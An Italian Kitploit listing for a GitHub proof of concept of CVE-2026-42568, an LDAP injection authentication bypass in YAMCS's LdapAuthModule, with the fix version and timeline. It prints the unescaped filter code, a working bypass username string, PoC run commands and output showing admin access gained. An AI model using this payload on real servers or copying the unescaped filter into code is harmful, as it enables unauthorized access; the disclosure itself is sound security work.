Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42568 — Esiste una vulnerabilità di iniezione LDAP in org.yamcs.security.LdapAuthModule. Il parametro username viene inserito direttamente nei filtri di ricerca LDAP senza escape RFC 4515, consentendo il bypass dell'autenticazione. | Kitploit
Strumenti/GitHubGitHub/ex-cal1bur/cve-2026-42568
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e Formazione
GitHubex-cal1bur/cve-2026-42568

CVE-2026-42568

Esiste una vulnerabilità di iniezione LDAP in org.yamcs.security.LdapAuthModule. Il parametro username viene inserito direttamente nei filtri di ricerca LDAP senza escape RFC 4515, consentendo il bypass dell'autenticazione.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42568 — Iniezione LDAP in LdapAuthModule di YAMCS

Riepilogo

Esiste una vulnerabilità di iniezione LDAP in org.yamcs.security.LdapAuthModule. Il parametro username viene inserito direttamente nei filtri di ricerca LDAP senza escaping RFC 4515, consentendo il bypass dell'autenticazione.

CampoValore
CVECVE-2026-42568
GravitàMEDIUM
CWECWE-90: Neutralizzazione impropria di elementi speciali in una query LDAP
Versioni interessateyamcs-core < 5.12.7 (con autenticazione LDAP configurata)
Corretta inyamcs-core 5.12.7
AvvisoGHSA-cqh3-jg8p-336j

Dettagli della vulnerabilità

Causa principale (LdapAuthModule.java):

root@kitploit:~
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping

Con un userFilter tipico di (uid={0}), uno username malevolo rompe la struttura del filtro:

root@kitploit:~
Input:  *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed

Prova di concetto

root@kitploit:~
pip install requests
python3 poc.py http://localhost:8090

Output atteso su un'istanza vulnerabile (con LDAP configurato):

root@kitploit:~
[1] Universal bypass (any account)
     Username: *)(uid=*))(|(uid=*
     Password: anything
     Result:   HTTP 200
     [!!!] AUTHENTICATION BYPASSED
     [!!!] Token received: eyJhbGciOiJSUzI1NiJ9...

Nota: questa vulnerabilità interessa solo le istanze YAMCS con LdapAuthModule configurato. Le installazioni predefinite che usano l'autenticazione integrata non sono interessate.

Impatto

Un attaccante non autenticato in grado di raggiungere il server YAMCS può bypassare completamente l'autenticazione quando è configurata l'autenticazione LDAP, ottenendo l'accesso come un utente arbitrario, inclusi gli amministratori.

Correzione

Aggiornare a yamcs-core >= 5.12.7.

La correzione applica l'escaping RFC 4515 allo username prima di costruire il filtro LDAP.

Cronologia

DataEvento
2026-05Vulnerabilità segnalata
2026-05-26Correzione rilasciata in yamcs-core 5.12.7
2026-05-26Avviso pubblico pubblicato

Ricercatore

Daniel Miranda Barcelona (Excal1bur)

  • GitHub: https://github.com/ex-cal1bur
  • LinkedIn: https://linkedin.com/in/daniel-miranda-barcelona
  • Blog: https://thedumpster.es
Scarica lo strumento